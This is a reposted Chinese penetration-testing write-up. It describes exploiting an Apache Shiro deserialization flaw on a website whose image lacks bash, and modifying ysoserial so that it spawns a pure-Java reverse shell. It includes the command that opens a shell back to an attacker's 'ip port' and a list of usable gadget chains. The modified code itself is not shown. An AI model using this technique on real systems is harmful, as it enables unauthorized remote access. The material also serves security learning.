分享

记一次突破反弹shell

 新用户36657816 2020-11-12

这是 酒仙桥六号部队 的第 106 篇文章。

全文共计1809个字,预计阅读时长6分钟

背景

某天闲着无聊,小伙伴发来一个某网站,说只能执行命令,不能反弹shell。

测试

对着目标站点一顿测试。

发现确实存在shiro反序列化,并且存在可以利用的gadget。

利用

发现确实可以执行命令,但是我们执行反弹的时候。

反弹不回来,emmm。

查看各种系命令以及分析。

发现是一个精简的Linux,经常用于docker环境的搭建。

并没有bash环境。

使用sh命令反弹结果一样,之后尝试了各种反弹的方法,一言难尽。

所以我们需要一种新的反弹方法,利用java直接创建一个socket反弹。

ysoserial

ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload。

源码下载地址:

https://codeload.github.com/frohoff/ysoserial/zip/master

在很多java类的反序列化攻击场景中会利用到该工具。

例如:apache shiro反序列化,会使用ysoserial生成反序列化语句,再使用key加密,发送攻击payload。

如下python脚本,就是利用ysoserial生成反序列化语句,再用key加密生成cookie。

目的

各种各样的反弹shell注入bash、sh、perl、nc、python等等,都比较依赖目标系统的环境和操作系统类型等等,如果可以直接利用java创建一个socket反弹shell则可以无需关心这些环境直接反弹shell。

ysoserial分析

在执行ysoserial的时候一般使用的命令是java -cp ysoserial.jar  /某个payload/ /命令/

打开源码分析对应的payload类执行过程,如CommonsCollections2。

在执行该类的时候,运行payloadrunner类的run方法,来执行本类的class文件,再加上接收的参数,跟入payloadrunner类。

这里会调用payload中的getObject方法传入要执行的命令,命令是接收的输入或者是getDefaultTestCmd(),也就是说我们如果不输入命令,他会执行以下默认命令。

Windows:calc
MacOS:calculator
Linux:gnome-calculator\kclac

如果输入了命令会执行自定义命令,接下来会执行getObject方法()来生成payload,跟入对应类的getObject方法。

getObject方法中,调用Gadgets类中的createTemplatesImpl方法生成临时的java字节码文件,跟入对应的方法。

ysoserial改造

可以看到作者在命令获取处已经留下了注释。

待做:也可以做一些有趣的事情,比如注入一个纯JavaRev/BindShell来绕过幼稚的保护。

TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

一般情况我们在ysoserial后面写的命令调用的是java.lang.Runtime.getRuntime().exec()方法来执行命令,写死了,此处我们可以进行改造。

在原来的代码基础上写成:

这样我们再重新打包ysoserial文件再执行命令时使用如下格式。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 'rebound:ip port'

可以直接获得一个反弹shell。

生成payload利用

发送。

Bingo,得到一个反弹shell。

ysoserial改造总结

由于不是所有的payload在构造时都调用了Gadgets.createTemplatesImpl,所以只有以下几种适用于以上修改。

CommonsBeanutils1
CommonsCollections2
CommonsCollections3
CommonsCollections4
Hibernate1
JavassistWeld1
JBossInterceptors1
Jdk7u21
JSON1
ROME
Spring1
Spring2
Vaadin1

此方法不依赖于目标操作系统和组件,可以直接利用java创建反弹shell。

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多